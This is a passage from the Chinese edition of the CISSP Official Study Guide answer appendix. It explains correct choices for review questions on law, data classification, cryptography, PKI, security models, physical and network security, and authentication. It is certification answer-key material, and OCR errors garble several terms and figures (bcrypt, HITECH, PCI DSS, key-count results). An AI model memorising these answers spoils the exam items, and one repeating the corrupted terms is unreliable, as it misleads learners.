统不用于处理敏感的国家安全信息。 美国国家安全局(国防部的一部分)负责管理那些处理机密和/或
敏感信息的系统。
5. C. 最初的 《计算机诈骗和滥用法案)) (1 984 年)只包括政府和金融机构使用 的系统。 该法案
在 1986 年被扩展， 包括了所有的涉及联邦利益的系统。 《计算机滥用修正案)) (1994 年)进一步修正
了 CFAA， 包括了 在州 间贸易中使用的所有系统， 这覆盖了美国大部分(但不是全部)的计算机系统。
6. B. 美 国宪法的第四修正案建立了执法官员在执行搜查和/或没收私有财产时必须遵循的 " 可
能动机 " 标准。 它 还声明这些官员必须在 获得对这些财产的 非 自 愿访问之前获得搜查证。
7. A. 版权法是 Matthew 可 以使用 的知识产权的唯一类型。 它只包括 了 Matthew 使用 的具体软
件的代码， 不包括软件背后 的思维过程或想法。 商标法不适合这种情况。 专利权不适用于数学算法。
Matthew 不能寻求商业秘密法的 保护 ， 这是 由于他打算在公共技术杂志上发表该算法 。
8. D. Mary 和 Jo巳 应当将他们的原油处方作为商业秘密。 只 要他们不公开透露这个处方， 那么
他们将长期拥有它并作为公司 的 商业秘密 。
9. C. Richard 的产品名称应该受到商标法的保护。 在商标注册得到授权前， 他可以在名称旁边
使用符号TM， 以通知其他人此名称受到商标法的保护。 一旦他的申请被批准， 名称就变成一个注册
的商标， 井且 Richard 可 以开始使用⑧符号 了 。
10. A. 美国的 《 隐私法案)) (1974 年)限制了政府机构使用公 民在某种情况下透露给他们的信息
附录 A 复习题答案
的方法。
11. B. ((美国统一计算机信息处理法案)) (UCITA)试图实施一个有关所有什嘟采纳的计算机处
理 的标准法律架构。 UCITA 处理的一个问题是不 同软件许可证协议类 型的合法性。
1 2. A. ((儿童联机隐私保护法案)) (COPPA)对未经父母许可而收集小孩的信息处以严厉的处罚 。
COPPA 声 明如果段子的年龄小于 13 岁 ， 那么在收集信息前， 必须获得孩子父母的允许(除了基本信
息要求获得这种许可 以外)。
13. A. ((数字千禧年版权法案》 对于 " 暂时性行为" 免除的保护不包括任何地理位置的要求。
其他选项是 5 个强制性要求中 的 3 个。 另外两个要求是服务提供商不能决定数据的接收者以及不能
对传输数据的内容进行修改。
14. C. ((美国爱国者法案》 在9. 1 1 恐怖袭击后被采纳。 它扩大了政府监视私人间通信的能力 ，
并且因此实际上削弱了 消费者和互联网用户 的隐私权。 其他被提到的法律都包含用于增强个人隐私
权的规定 。
1 5. B. 收缩性薄膜包装的许可证协议在用户打开软件包装时生效。 单击包装许可证协议要求用
户 在安装过程中单击一个按钮， 以接受许可证协议的条款。 标准的许可证协议要求用户在使用软件
之前签署一份书面协议。 口头协议通常不用于软件许可， 而且还要求软件用户在一定程度上积极
参与。
16. B. Gramm-Leach-BW可法案提供了有关商业机构可能处理属于客户 的个人信息方法的规定。
1 7. C. 美国专利权法从专利 申请提交到专利和商标局 的时候开始提供 20 年的独家使用权。
1 8. C. 根据欧盟隐私指令的定义， 市场销售需求不是处理个人信息 的有效基础 。
1 9. C. 支付卡行业数据安全标准σCI DSS)适用于涉及信用卡信息的存储、 传输和处理的组织。
20. A. 2009 年的 《经济和临床卫生健康信息技术法)) (田TEC而修订了 四PAA 的 隐私和安全
要求。
第 5 章 保护 资产的安全
1. A. 信息分类过程的主要 目 的是识别敏感数据的安全分类， 并定义保护敏感数据的需求。 信
息分类过程通常包括保护静态敏感数据(备份和存储在介质上)的 需求， 但不包括备份和存储任何数
据的需求。 类似地， 信 息分类过程通常包括保护传输中敏感数据的要求， 但不包括任何数据。
2. B. 数据根据其对组织的价值进行分类。 在某些情况下 ， 如果未授权人员可 以访问它们， 则
是基于潜在负 面影响进行分类的， 这表示负值。 它不是基于系统的处理进行分类， 而是基于处理数
据的系统进行分类。 类似地， 基于数据分类来对存储介质进行分类， 但是不基于数据被存储在何处
来对数据进行分类。 可访问性受分类影响， 但可访问性不确定分类。 人员实施控制来限制敏感数据
的可访问性。
3. D. 在网站上不发布敏感数据， 但 PII， P固 和专有数据都是敏感数据 。
4. D. 分类是标记介质最重要的方面， 因 为它清楚地标识介质的价值， 用户知道如何基于分类
来保护介质 。 包括诸如 日 期和内容描述的信息不像标记分类那样重要。 可以使用 电子标签或标记，
但是当使用 它们时， 最重要的信息仍然是数据分类。
5. C. 清洗介质通过多次写入现有数据来删除所有数据， 以确保使用任何己知方法都无法恢复
数据。 然后， 清洗的介质可以在不太安全的环境中重复使用 。 擦除介质执行删除， 但数据仍然保留
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CISSP 官方学 习指南(第 7 版)
且可以轻松恢复。 清除或覆盖会将未分类的数据写入现有数据， 但某些复杂的取证技术仍然可能恢
复原始数据 ， 因 此此方法不应用于减少介质 的分类。
6. C. 净化可能不可靠， 因为人员可能不适当地执行清洗、 消磁或其他过程。 正确完成后， 使
用任何己知方法无法恢复己清洗的数据。 数据无法从己焚烧或己烧毁的介质中恢复回来。 数据不会
被物理蚀刻到介质 中 。
7. D. 清洗是给定选项中最可靠的方法。 清洗用随机位多次覆盖介质 ， 并包括附加步骤以确保
数据被删除。 然而这不是很有效的答案选择， 驱动器的破坏才是一种更可靠的方法。 擦除或删除进
程不可能从介质中删除数据， 而是将其标记为删除。 固态驱动器(SSD)没有磁通， 因此消磁 SSD 不
会破坏数据 。
8. C 物理破坏是在诸如 DVD 等光学介质上删除数据方面最安全的方法。 格式化和删除处理
很少不能从任何介质 中 删除数据 。 DVD 没有磁通， 因此消磁 DVD 不 会破坏数据 。
9. D. 数据剩余是指作为剩余磁量保留在硬盘驱动器上的数据残余。 消除、 清洗和覆盖是擦除
数据的有效方法。
1 0. C. Linux 系统使用 b吗'Pt 加密密码， bcrypt 基于 Blowfisho bc巧φt 添加 128 个附加位作为盐，
以防止彩虹表攻击。 高级加密标准(AES)和三重 DES(或 3DES)是单独的对称加密协议， 没有一个是
基于 Blow自由 的， 或直接与防止彩虹表攻击相关 。 安全复制(SCP)使用安全 Shell(SSH)加密通过网络
传输的数据 。
11. D. SSH 是对 Telnet 的安全替代， 因 为它加密通过网络传输的数据。 相反， Telnet 以明文传
输数据。 SFTP 和 SCP 是通过网络传输敏感数据的好方法 ， 但不用于管理 目的。
1 2. D. 数据保管者执行日 常任务来保护数据的完整性安全， 这包括备份它们。 用户访问数据。
所有者对数据进行分类。 管理 员为数据分配权限 。
13. A. 管理员基于最小特权原则分配权限和知其所需权限。保管者保护数据的完整性和安全性。
所有者对数据负有最终责任， 确保其被正确分类， 并且所有者为管理员提供有权访 问 的权限， 但所
有者不分配权限。 用户只是访问数据 。
14. C. 行为规则识别适当使用和保护数据的规则。 最小特权确保用户 只能访问他们所需要的数
据。 数据所有者确定谁有权访问系统， 但这不是行为规则 。 行为规则适用 于用户， 但不是系统或安
全控制 。
15. A. 欧盟数据保护法将数据处理器定义为 "仅代表数据控制器处理个人数据的自然人或法
人"。 数据控制器是控制数据处理并指示数据处理器的实体。 在欧盟数据保护法中 ， 数据处理器不是
计算系统或网络。
1 6. A. 这些是安全港原则的前 4 条原则， 它们适用于保护数据隐私。 它们不涉及数据的识别或
保留。 它们主要涉及隐私数据， 如个人身份信息(P助。 虽然这可能被视为分类， 但分类不是 7 条安
全港原 则 的主要 目 的 。
1 7. D. 范围定制和定制过程允许组织根据需要定制安全基线。 不需要实施不适用 的安全控制，
并且不需要识别或重新创建不同 的基线 。
1 8. D. 备份介质应该受到与其包含的数据相同保护级别的保护， 并且使用安全的异地存储设施
来确保这一点 。 介质应该被标记， 但是如果被存放在无人仓库中， 那就无法保护它。 备份副本应存
放在异地， 以确保在灾难影响主要位置时可用。 如果数据副本未在场外存储或异地备份被破坏 ， 则
由 于风险的可用性而牺牲了 安全性。
1 9. 如果磁带在离开数据中心之前被标记 ， 员 工就会认识到他们的价值， 而且更有可能有人会
附录 A 复 习题答案
在无人仓库中挑战他们的存储方式。 在使用之前对磁带进行清洗或消磁将会擦除先前保存的数据，
但是如果敏感信息在清洗或消磁后备份到磁带中 ， 则无济于事。 将磁带添加到资产管理数据库将有
助于跟踪它们 ， 但不会防止此类事件 。
20. B. 人员没有遵守记录保留策略。 该方案声明管理员清洗 6 个月 以上的现场电子邮件以符合
组织的安全策略， 但异地备份包含过去 20 年的备份。 当组织不再需要介质时 ， 人员应遵循介质销毁
策略， 但需要一些备份。 配置管理确保使用基线正确配置系统， 但这不适用于备份介质 。 版本控制
应用于应用 程序 ， 而不是备份磁带。
第6章 密码学与对称加密算法
1. C. 要确定密钥空间中的密钥数， 可用 2 的密钥空间位数的乘方 。 例如 ， 24=160
2. 人 不可否认性防止消 息的发送者否认 曾经发送过消息 。
3. A. DES 使用一个 56 位的密钥 。 这被认为是该密码系统的主要缺点 。
4. B. 换位密码使用 多种技术重新排列消息中 的字符。
5. A. Rijndael 密码准许用户根据特定的应用安全要求选择一个长度为 1 28、 1 92 或 256 位 的
密钥。
6. A. 不可否认性要求使用公钥密码系统 ， 从而防止用户错误地否认他们生 成了 消息 。
7. D. 假设使用正确， 那么一次性填充是唯一 己知的不易攻击的密码系统。
8. B. 选项 B 是正确的 ， 因 为 1 6 被3除等于 5 ， 余数为 1 。
9. A. 美国 的密码分析人员发现 了苏联用于生成一次性填充的方法中的一个模式。 发现这个模
式之后 ， 大 多数编码最终都被破译 了 。
10. C. 分组密码对消息的 " 组块 " 进行操作， 而不是对单个字符或比特进行操作。 选项中提到
的其他密码都属于流密码类型 ， 这种密码对消 息 的单个比特或字符进行操作 。
11. A 对称密钥密码学使用 共享的密钥。 所有的通信方在任何方向 的通信上都使用相同的密钥。
1 2. B. N 分之 M 的控制要求在代理总数(N)中 的最小数量的代理。1)一起工作以执行高安全性
任务。
13. D. 输出反馈(OFB)模式防止早期错误干扰未来的加密/解密。 密码块链接和密码反馈模式将
在整个加密/解密过程中携带错误。 电子代码本(ECB)操作不适合大量数据 。
14. C. 单向函数是一种数学运算， 可 以为每个可能的输入组合轻松地生成输出值， 但无法检索
输入值。
15. C对称算法所需的密钥数量由公式(n *(n- 1))/2决定。 在这种情况下， 如果n = 10， 则密钥
数量为45 0
1 6. C. 高级加密标准使用 1 28 位大小的块， 尽管事实上它基于的 Rijndae1 算法允许可变块大小。
1 7. C. 凯撒密码(以及其他简单的替代密码)容易遭受频率攻击， 这种攻击会分析特定宇母在密
文 中 出 现的频率。
1 8. B. 滚动密钥密码(或 " 书籍 " 密码)会将常见书籍中 的一段话作为加密密钥。
1 9. B. 由 Bruce Schneier 开发的 Twofish 算法使用预白化和后 自 化技术。
20. B. 在非对称算法中 ， 每个通信方都需要两个密钥 : 公钥和私钥 。
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CISSP 官方学习指南(第 7 版)
第 7 章 PKI 和密码学应用
1 . B. 数字 n 是两个大质数 p和q 的乘积。 因此， n 肯定总是比p和q大。 此外 ， 算法对 e 的选
择进行限制 ， e 要小于 n。 因此， 在 RSA 密码学中， n 在这个问题的 4 个变量选项中总是最大的。
2. B. EI Gamal 密码系统扩展了 Di:ffie-Hellman 密钥交换协议的功能， 从而支持消息的加密和
解密。
3. C. Richard 必须使用 Sue 的公钥加密消息， 这样 Sue 可 以使用 自 己的私钥解密消息。 如果
Richard 使用 自 己的公钥加密信息， 那么接收方就需要知道 Richard 的私钥才能够解密这条消息。 如
果 因ch缸d 使用 自 己的私钥加密消息 ， 那么任何用户都可 以通过 自 由获得的 目ch缸d 的公钥来解密消
息 。 因为 Richard 无法取得 Sue 的私钥， 所以他无法使用 Sue 的私钥来加密此消息。 如果 Richard 做
到了， 那么任何用户都可以自 由 获得 Sue 的 公钥 来解密消息。
4. C. EI Gamal 密码系统的主要缺点是: 它会将加密的任何消息的长度都增加一倍。 因此， 当
使用 EL Gamal 加密消息的时候， 2048 位的明文消 息将会产生一条 4096 位的密文消息 。
5. A. 椭圆曲线密码系统只需要足够短的密钥就能达到与 RSA 加密算法同样的加密强度。 1 024
位的 RSA 密钥的加密强度等价于 1 60 位 的椭圆曲线密码系统密钥 的加密 强度 。
6. A. 无论输入消息的大小， S比气-1 散列算法总是生成 1 60 位的消息摘要。 事实上， 这种固 定长
度的输出结果是所有安全散列算法的一个要求。
7. C. WEP 算法已被书面证明存在易被破解的弱点， 这种算法应当不能再被用于保护无线网络。
8. A. Wì-Fi 安全访问队TPA)使用临时密钥完整性协议σKIP)保护无线通信。 WPA-2 使用 AES
加密。
9. B. Sue 会使用 Richard 的公钥加密消息 。 因此， Richard 需要使用密钥对中的互补密钥(即他
自 己的私钥)来解密消息。
10. B. 阳chard 应当使用 自 己的私钥加密消息摘要。 当 Sue 接收信息的时候， 她会使用 阳chard
的公钥解密消息摘要， 然后计算出 自 己的消息摘要。 如果这两个消息摘要匹配， 那么就能确认此信
息 的确 来 自 Richard。
11. C. 数字签名标准允许美国联邦政府使用数字签名算法、 RSA 或椭圆 曲线 DSA 结合 SHA-l
散列函数一起生成安全的数字签名 。
12. B. X.509 管理数字证书和公钥基础结构(PKl)。 它为数字证书定义了 适当的内容以及证书授
权机构生成和撤消证书的过程 。
13. B. 可靠隐私使用数字签名验证的 " 信任 Web" 系统， 加密技术基于 IDEA 私钥密码系统。
1 4. C. 安全套接宇利用 TCP 端 口 443 进行加密 的客户端/服务器通信 。
15. C. 中间人攻击证明其使用击败标准 DES 同等的计算能力就能够击败 2DES， 这导致采用
三重 DES(3DES)作为政府通信 的标准。
1 6. A 彩虹表包含常用 密码的预计算哈希值， 并且可用于提高密码破解攻击的效率。
1 7. C. Wi日 保护访问协议加密在移动客户端和无线接入点之间传递的流量。 它不提供端到端
加密。
1 8. B. 因 为证书撤消列表(C町的分发存在时间间隔， 所以 CRL 在证书到期过程中引入了固
有的延迟。
1 9. D. 密码分析己能破解Merkle-He11man背包算法， 这种算法依赖于因式分解超增序列的困难性。
附录 A 复习题答案
20. B. IPSec 是一种安全协议， 它为在两个实体之间建立交换信息的安全信道定义了一个架构。
第 8 章 安全模型的原则 、 设计和功能
1 . B. 系统认证是从技术角度进行评估。 选项 A 描述的是系统鉴定。 选项 C和D 指的是制造厂
商 的标准， 而不是实现标准。
2. A 鉴定是正式验收的过程。 选项 B 不是正确的答案， 因 为它指的是制造厂商的标准。 选项
C和D之所以不正确的原因是: 没有方法能够证明这种配置实施了 安全策略， 并且鉴定过程不需要
安全通信规范。
3. C. 封闭式系统主要使用专用或不公开的协议和标准。 选项 A和D 没有描述出任何具体的系
统 ， 选项 B 描述的是一个开放式系统 。
4. C. 受约束的进程只能访问特定的内存位置。 选项 A 、 B和D 描述的不是受约束 的进程。
5. A 客体是用户 或进程希望访 问 的资源。 选项 A 描述的 是一个访 问 客体 。
6. D. 控制通过 限制对某个客体的访问来保护这个客体免遭未经授权的用户 的滥用 。
7. B. 为 mTSCAP 和 N队CAP 站 点鉴定评估独立的特定位置的应用程序和系统。
8 . C . TCSEC 定义了 4 种主要类别: 类别 A 是经过验证的保护， 类别 B 是强制性的保护 ， 类别
C 是 自 主性 的保护 ， 类别 D 则 是最小化的保护 。
9. C. TCB 是你信任的可 以支持和实施安全策略的系统部分。
10. A 和 B. 虽然根据本章介绍的内容， 此处最正确的答案是选项 B， 但是选项 A 在物理安全
上下文中也是正确答案。
11. C. 引 用监视器在授予请求访问权之前验证对每个资源的访问 。 选项 D一一安全内核一一是
协力工作以实现引用监控器功能的 TCB 组件的集合。换句话说， 安全内核是引用监控器概念的实现。
选项 A和B 不是有效的 TCB 概念组件 。
12. B. 选项 B 是唯一一个正确定义安全模型的选项。 选项 A、 C 和 D 分别定义了部分安全策略、
认证和鉴定过程 。
13. D. Bell-LaPadula 模型和 Biba 模型都建立在状态机模型的基础之上。
14. A. 只 有 Bell-LaPadula 模型解决了数据的机密性问题。 Biba和Clark-Wilson 模型解决的是数
据 的完整性问题。 Brewer and Nash 模型则防止利益冲突。
15. C 不能向上读的属性也被称为简单安全策略， 它禁止主体读取位于更高安全级别的客体。
16. B. 隐蔽通道是用于秘密传送数据的任何方法， 此类通道通常不用于通信。 其他所有选项描
述的都是一般的通信通道。
17. D. 解除分类是一旦确定不再被证明被放置在较高级别时， 将对象移动到较低级别分类的过
程。 只有受信任的主体才能执行解除分类， 因为此操作违反 Bell-LaPadula 的星属性规则 ， 而不是违
反精神或意 图 ， 这是为了 防止未授权的泄露。
18. B. 访问控制矩阵将来 自 多个对象的 ACL 组合到单个表中。 该表的行是这些对象主体的
ACE， 因 此是功能列表。
19. C. 可信计算基σCB)在理论上具有被称为引用监视器的组件， 其在实现中被称为安全内核。
20. C. Clark-Wilson 模型的访问控制关系的三个部分(即访问三元组)是主体、 客体和相芋(或接口)。
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CISSP 官方学习指南(第 7 版)
第 9 章 安全脆弱性 、 威胁和对策
l . c. 多任务处理指同时处理多个任务。 在大多数情况下 ， 多任务处理实际上是由操作系统模
拟出来的， 即使处理器不支持这种技术也是如此。
2. B. 移动设备管理。在DM)是一种软件解决方案， 用于管理无数员工使用的访问公司资源的移
动设备， 这个任务是具有挑战性的 。 MDM 的 目 标是提高安全性， 提供监控、 启用远程管理和支持
故障排除。 并非所有移动设备都支持可移动存储， 甚至只有少量的支持加密可移动存储。 地理标记
用于标记照片和社交网络帖子， 而不是用于 BYOD 管理。 应用程序白 名单可能是 BYOD 管理的一
个元素 ， 但仅是完整的 MDM 解决方案的一部分。
3. A. 单处理器系统一次只能处理一个线程。 此题中一共有 4 个应用程序线程(忽略由操作系统
创建的线程) ， 但是操作系统会 负责 决定任意给定时间在处理器上所运行的线程。
4. A 在专用系统中， 所有用户 都必须具有最高级别的 、 由系统处理的信息的有效安全许可，
每个用户都必须被批准访问系统所处理的全部信息， 并且都必须具有有效的、 对系统所处理全部信
息 的 " 知其所需 " 权限。
5. C. 由于嵌入式系统是控制物理世界的一种机制， 因此安全漏洞可能会对人和财产造成伤害。
这通常在标准 PC 中不会发生。 电源丢失、 访问互联网和软件缺陷是嵌入式系统和标准 PC 都有的安
全风险。
6. B. 可编程只读存储器σROM)芯片由终端用户写入一次数据， 但是无法再被擦除。 在工厂的
时-候， 只读存储器(ROM)芯片的内容就 已被 " 烧入"， 而且不允许终端用户 写入数据。 EPROM 和
EEPROM 芯片都允许终端用户通过某种方法擦除存储设备上的 内容并向芯片重新写入新的数据。
7. C. 通过暴露在高强度的紫外线下， EPROM 上的数据可以被擦除。 ROM 和 PROM 芯片不提
供可擦写的功能。 通过对芯片的插脚应用 电流， EEPROM 芯片的数据可以被擦除， 并且在擦除数据
之前不需从计算机上卸下芯片 。
8. C. 辅助存储器是一个用于描述磁性和光学介质的术语。 这些设备从计算机上拆除后仍然保
留着数据 内容， 并且可 以被其他用户 读取 。
9. B. 笔记本电脑丢失或被盗的风险是数据丢失， 而不是系统本身的损失。 因此， 保持系统上
只有最小敏感数据是降低风险的唯一方法。 硬盘加密、 电缆锁和强密码虽然是好的想法， 但只是预
防工具， 而不是降低风险的手段。 它们不会阻止故意和恶意数据泄漏的发生; 相反， 它们鼓励诚实
的人保持诚实 。
1 0. A. 动态 RAM 芯片上有很多 电容器， 每个电容器上都存有电荷。 为了保存芯片上的内容，
这些 电容器必须不断地被 CPU 刷新 。 当 电源被切断的时候， 存储在芯片 中 的数据就会丢失。
11. C. USB 闪存设备很容易被卸下， 并且操作系统往往不太可能对其应用访问控制。 因此， 加
密通常是除了物理安全之外的唯一安全措施， 并且费用也完全能够承担。 硬盘和 RAM 芯片一般通
过操作系统的访问控制来实现安全性。
1 2. B 在系统高级模式中 ， 所有用户 都必须具有对系统处理的所有信息 的适当安全许可和访问
特权， 但是只 需对系统处理的部分信息具有 " 知其所需 " 权限。
13. C. 移动电话窃听最常被忽视的方面与在附近偷听对话(至少在他们的一方)的人有关。 组织
经常考虑和解决无线网络、 存储设备加密和屏幕锁定的 问题 。
14. B. 为了便于将来固件的更新 ， BIOS 和设备固件通常被存储在 EEPROM 芯片上。
附录 A 复 习题答案
15. C. 寄存器是很小的、 直接位于 CPU 芯片上的存储位置。 CPU 能够直接使用存储在寄存器
上 的数据 ， 井且可 以很快进行存取。
1 6. B. 在立即寻址中， CPU 实际上并不需要从存储器中检索任何数据。 数据就包含在指令本身
中 ， 并且可 以被立刻处理。
1 7. D. 在 间接寻址中 ， 提供给 CPU 的存储位置包含了 一个内存地址。 CPU 通过从这个内存地
址进行读取得到操作数(这就是称为 " 间接 " 的原因)。
1 8. C. 进程隔离为在系统中运行的每个进程都提供独立的内存空间。 这就阻止进程覆盖其他进
程 的数据 ， 并确保该进程不会读取另 外一个进程的数据 。
1 9. D. 最小特权原则描述的是， 只有完全需要内核级别访问特权的进程才能在监管模式中运行。
其余的进程应当在用户模式中运行 ， 以便减少潜在安全脆弱性的数量 。
20. A. 硬件分隔与进程隔离所要达到的 目 的是相同的， 但硬件分隔是在硬件上使用物理控制方
法实现更高级别的安全性 。
第 1 0 章 物理安全需求
1 . A. 物理安全是整体安全最重要的方面 。 如果缺乏物理安全， 那么安全性的其他方面都无法
得到保证。
2. B 关键路径分析可以被用于制定组织对新设施的需求。 关键路径分析是确定关键任务应用、
处理、 操作和所有支撑要素之间 的关系的过程。
3. B. 配线间是经常位于跨多个楼层相同位置的基础设施部件， 以便提供将基于楼层的网络连
接和集中一起 以提供便利 的方法。
4. D. 对于设施内所有场所的等同访问并不是安全所关注的设计要素。 每个包含不同重要程度、
价值和机密性的资产或资源的 区域应当具有相应的安全限制等级 。
5. A. 为 了保持有效性和安全性， 计算机机房不需要与人相协调。 与人不协调的服务器机房提
供了对攻击的更高的保护等级 。
6. C. 散列不是关于包含可重用移动介质存储设施实现的典型安全措施。 当 需要验证数据集的
完整性时可以使用散列， 而应该删除不保留可重用移动介质上的数据。 通常， 介质存储设施的安全
特性包括使用库管员或保管人， 使用存入/取出 过程 ， 以及在返回 的介质上使用 净化工具。
7. C. 陷 阱是通常由 保安保护的双重门设置， 被用来限制主体， 直至其身份得到确认与验证。
8. D. 照明是最常见的一种边缘安全设备或机制。 你的整个场所都应该被照亮。 照明使得对人
员 的身份标识更容 易 ， 并且更容易 注意到入侵行为的发生 。
9. A. 保安通常不知道设施内 的工作范围 ， 这种做法可以提供机密性， 并且有助于降低保安涉
及机密信息泄漏的可能性。
1 0. B. 基于水的灭火系统最常见的故障原因是人为错误。 如果在火灾后关闭了水源， 随后又忘
记再次打开水源， 那么在将来发生火灾时就会遇到麻烦 。 此外， 在没有火灾时触发放水也会使办公
场所遭受损失 。
11. C. 钥匙锁是物理访问控制设备的最常见和最廉价形式。 照明、 保安和栅栏的费用要高得多。
1 2. D. 电容运动探测仪对被监控物体周 围 区域的 电场或磁场的变化进行探测 。
13. A. 不存在预防性的警报。 警报通常 由于探测到入侵或攻击而被触发。
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14. B. 无论使用何种形式的物理访问控制， 都必须部署保安或其他监控系统， 以便防止滥用 、
伪装和混入事件的发生。 间谍不能通过物理访 问控制进行阻止 。
15. C. 人员 的安全是所有安全解决方案中 最重要的 目 标。
1 6. B. 计算机房的理想湿度应该为 40%-60%。
1 7. D. 1 500 伏静电 电压可 以破坏存储在硬盘驱动器上的数据。
18. A. 因 为 B 类灭火器用于液体火灾 ， 所 以不能将水用作 灭火抑制介质 。
1 9. C. 对于计算机设施来说， 预先响应系统是最好的基于水的防火系统。
20. D. 光对于大多数计算机设备来说， 通常并无危害， 但是火、 烟和灭火介质(通常是水)都是
有害的 。
第 1 1 章 网络安全架构与保护网络组件
1. D. 传输层是第 4 层 。 表示层是第 6 层 。 数据链路层是第 2 层。 网络层是第 3 层 。
2. B. 封装是指在 OSI 枝中向下传送数据时 ， 向 数据添加报头和报尾。
3. B. 第 5 层是会话层， 管理着单工(单向)、 半双工(双向 ， 但是一次只有一个方向可以发送数
据)和全双工(双向， 数据可 以同时沿两个方向传递)通信 。
4. B. 由于 1 0Base-T 非屏蔽双绞线是非屏蔽的， 因l1tx才电磁干扰的阻挡最小。 细缆(10Base2)和
粗缆(1 0Base5)都是同轴 电缆类型， 对 电磁干扰具有屏蔽作用 。
5. D. VPN 用 于在潜在不安全的中 间网络之间建立连接的安全隧道。 内 联网 、 外联网和 DMZ
是网络分段的例子。
6. B. UDP 是作为 IP 分组的有效载荷操作的传输层协议。 虽然不是 E 本身 ， 但依赖于 IPo IPX、
AppleTalk 和 NetBEUI 都是 IP 的 替代品， 因 此被标记为非 IP 协议。
7. C. bluejacking 攻击是针对蓝牙的无线攻击， 在这种攻击中 ， 最容易 受到危害的设备是移动
电话。
8. A. 以 太网建立在 IEEE 802.3 标准的基础上。
9. B. TCP 包装是一种应用程序 ， 可 以作为基本的防火墙来使用 ， 能够对基于用 户 ID 或系统
ID 的访 问 进行限制 。
1 0. B. 封装是多层协议具备的优点， 同 时也是潜在的危害。
11. C. 状态检测防火墙能够为己授权的用户和活动授予更广泛的访问权限， 并且可以积极地监
视和阻止非授权的用户和 活动 。
12. B. 状态检测防火墙被认为是第三代防火墙 。
13. B. 大多数防火墙提供了扩展的日 志记录、 审计和监控功能 以及警报和基本的 IDS 功能。
防火墙不能阻止借助其他己授权通信信道传送的病毒或恶意代码， 不能防止未授权的、 但是由用户
无意或有意造成的信息泄漏， 不能防范防火墙之后的恶意用户 所进行的攻击， 也不能在数据离开或
进入专用 网络之后对数据进行保护 。
14. C. 动态的路 由 协议有很多 ， 包括 阳P、 OSPF 和 BGP， 但 RPC 不是路由协议 。
15. B. 交换机是智能集线器。 由于交换机知道连接到每个出 站端 口 的系统的地址， 因此它被认
为是智能的。
1 6. A. 无线应用协议仰'AP)是一种与移动电话访问互联网相关联的技术， 与 802. 1 1 无线网络连
附录 A 复 习题答案
接没有关联。
17. C. 正交频分复用(OFDM)能够提供很高的吞吐量， 而且干扰最小。 OSPF 不是无线频率访问
方法， 而是一种路由协议 。
1 8. A. 端点安全是一种安全概念， 鼓励管理员在每台主机上安装防火墙、 恶意软件扫描f�)芋和
IDS。
1 9. C. 逆 向地址解析协议(RARP)将物理地址(MAC 地址)解析为逻辑地址(IP 地址)。
20. C. 当无线网络被设计为通过使用单个 SSID 和许多接入点来支持大型物理环境时， 就会部
署企业外延基础设施模式。
第 1 2 章 安全通信和网络攻击
1 . B. 帧中继是第 2 层连接机制， 它使用分组交换技术在通信端点之间建立虚电路。 帧中继网
络是一种共享介质， 提供点对点通信的虚电路就被创建在这种介质中 。 所有虚电路都是独立的， 并
且彼此不可见。
2. D. 由 于系统之间没有通信发生， 并且没有中 间网络存在， 因此独立系统不需要隧道技术。
3. C. IP 安全性(IPSec)是一种基于标准的机制， 它能够为点对点的 TCPIIP 通信传输提供加密。
4. B. 1 69.254.x.x 子网位于 APIPA 范围 内 ， 它未在 RFC 1918 中定义。 在 RFC 1918 中 定义的是
1 O.O.O.O� 1 0.255.255.255 、 1 72. 1 6.0.0� 1 72.3 1 .255.255 平日 1 92. 1 68.0.0�1 92. 1 68.255.255 。
5. D. 要建立 VPN 链路， 中 间 网络连接是必需的 。
6. B. 需 要通过静态模式的 NAT 来允许外部实体启 动 与 NAT 代理之后的内部系统的通信 。
7. A、 B和D. L2F、 L2TP 和 PPTP 自 身都缺少数据加密。 只 有 IPSec 自 身包含数据加密。
8. D. IPSec 在 OSI 模型的网络层(第 3 层)上工作 。
9. A. 地址范 围 1 69. 1 72.0.0�1 69. 191 .255.255 不是 RFC 1918 中列出 的 公共 IP 地址范围 。
1 0. D. NAT 并不预防和 阻止 穷举攻击。
11. B. 当透明性成为服务、 安全控制或访问机制的一种特征时， 它对于用户来说是不可见的。
1 2. B. 虽然可用性通常是安全性的主要方面， 但它是用于在互联网上传输电子邮件的安全系统
中 最不重要的方面。
13. D. 在 与终端用户 讨论关于 电子邮件保留的 问题时， 备份方法不是重要的因素。
14. B. 邮件炸弹是利用 电子邮件发起攻击的机制， 通过使系统由于邮件信息而泛洪溢出 ， 进而
导致拒绝服务。
1 5. B 由于邮件信息的源地址通常是欺骗地址 ， 因 此通常难 以阻止。
16. B. 永久虚 电路(PVC)能够被描述为始终存在的逻辑电路， 并且随时等待客户发送数据。
1 7. B. 更 改 PBX 系统上的默认密码能够最有效地增强安全性。
1 8. C. 社会工程学经常用于避开最有效的物理和逻辑控制。 无论实际的活动是什么 ， 攻击者都
使受害者相信并指示其做一些事情， 通常是指示打开后门 ， 从而使攻击者利用后门获得网络的访问
权限。
1 9. C. 暴力攻击不被视为 DoS 。
20. A.密码验证协议σ'AP)是 PPP 的标准化认证协议。 PAP 以明文的方式传输用 户名和密码 。 它
不提供任何形式的加密。 它只 是提供了 一种将登录凭据从客户端传输到身份认证服务器的方法。
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CISSP 官方学习指南(第 7 版)
第 1 3 章 管理身份与认证
1. E. 所有的答案都包含在组织尝试使用访问控制保护的资产类型 中 。
2. C. 主体始终是接收客体相关信息戚来自 客体数据的实体。 主体还是更改客体相关信息或客
体内存储数据的实体。 客体始终是提供或驻留数据 、 信息的实体。 主体可以是用户 、 程序、 进程、
文件、 计算机和数据库等 。 当 两个实体为完成任务进行通信时， 主体和客体的角色可 以切换
3. A. 部署预防性访问控制能够防止发生不必要的或未授权的活动。 检测控制在活动发生之后
发现它们， 纠 正控制试图纠 正 由活动引 起的任何 问题。 权威不是有效的访问控制类型 。
4. B. 逻辑/技术性访问控制是用于管理对资源和系统的访问 以及为这些资源和系统提供保护的
硬件或软件机制。 行政控制是管理控制， 物理控制使用物理方法来控制物理访问。 预防性控制尝试
防止安全事件。
5. A. 控制资产获取的主要目标是防范损失， 包括任何机密性损失、 可用性损失或完整性损失。
主体在系统上进行身份认证， 但客体不进行身份认证。 主体访问 客体， 但客体不访问 主体。 识别和
认证作为访问控制的第一步很重要， 但需要更多 的措施来保护资产 。
6. D. 用户使用 登录 D 来声明身份。 登录 D 和密码的组合提供身份认证。 主体在认证后被授
权访 问 客体 。 记录和审计提供可问 责性 。
7. D. 可 问责性不包括授权。 可 问责性需要适当 的识别和认证。 认证后， 可问责制 需要日志记
录 以支持审计。
8. B. 密码历史记录可以防止用户在两个密码之间轮换。 它记住以前使用 的密码。 密码复杂性
